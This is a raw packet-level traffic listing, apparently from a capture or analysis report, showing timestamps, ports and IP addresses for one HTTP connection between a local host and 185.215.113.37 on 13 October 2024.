Oct 13, 2024 06:54:14.635050058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635071993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635073900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635073900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635107994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635215044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635215044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635539055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635566950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635679960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635679960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635689974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635757923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635808945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635837078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635837078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635844946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635895967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.635920048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635920048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635951042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.635977030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636029005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636059999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636092901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636125088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636157036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636197090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636197090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636197090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636197090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636197090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636212111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636262894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636291981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636348009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636398077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636430979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636430979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636430979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636430979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636430979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636459112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636508942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636557102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636606932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636615038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636615038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636615992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636615992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636656046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636688948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636720896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636786938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636853933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636903048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636907101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636908054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636908054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636908054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636908054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636908054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.636935949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.636970043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637001991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637010098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637010098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637064934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637064934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637065887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637116909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637151957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637182951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637214899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637247086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637279987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637296915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637296915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637296915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637296915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637298107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637298107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637307882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637342930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637375116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637411118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637444973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637466908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637466908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637466908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637466908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637466908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637478113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637496948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637531042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637536049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637597084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637609005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637633085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637661934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637692928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637692928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637693882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637728930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637737036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637737036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637762070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637795925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637831926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637860060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637860060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637860060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637881041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637931108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637964010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.637994051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637994051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637994051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.637995958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638030052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638061047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638076067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638076067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638076067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638124943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638140917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638159037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638192892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638220072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638252020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638283968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638319016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638338089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638338089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638338089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638338089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638338089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638338089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638354063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638376951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638386965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638420105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638453007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638487101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638519049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638551950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638573885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638573885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638575077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638575077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638575077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638575077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638583899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638618946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638633966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638633966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638648987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638710976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638745070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638756990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638756990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638756990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638777971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638809919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638812065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638828993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.638847113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638880014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638911009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.638942957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639115095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639147997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639175892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639175892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639175892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639175892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639175892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639175892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639213085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639245987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639247894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639282942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639314890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639348030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639379978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639430046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639434099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639434099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639434099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639434099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639434099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639461994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639494896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639527082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639559984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639592886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639626026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639658928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639684916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639693022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639709949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639729023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639761925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639792919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639827013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639858007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.639889956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639889956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639889956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639890909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639890909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.639890909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.640316010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.723659992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723776102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723778963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.723793983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723812103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723829031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723831892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.723846912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723861933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723877907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723892927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723907948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723922014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723937035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723953009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723974943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.723978043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.723978043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.723978996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.724061012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.724061012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.724463940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724481106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724497080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724523067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724545956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724562883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724565983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.724566936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.724582911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724661112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.724661112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.724663973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724678993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724694014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724710941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724725008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724741936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724742889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.724759102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724776983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724790096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.724822998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.724822998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.724845886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.724870920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.725505114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725522041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725537062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725590944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725594044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.725606918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725610018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.725625038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725649118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725663900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725677013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725693941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725706100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.725706100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.725712061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725732088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725755930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725759029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.725771904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725788116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.725856066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.725856066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.725856066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.726640940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726656914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726681948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726697922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726713896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726728916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726743937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726766109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726782084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726798058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726850986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.726850986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.726850986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.726850986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.726850986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.726850986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.726891041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726906061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726929903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726943970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726958990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726973057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.726998091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727011919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727025032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727040052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727055073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727068901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727070093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727070093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727070093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727070093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727070093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727085114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727099895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727195024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727195024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727195024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727658033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727684975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727699995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727729082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727729082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727756023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727787018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727813959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727840900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727855921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:14.727855921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727855921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:14.727871895 CEST	80	49730	185.215.113.37	192.168.2.4
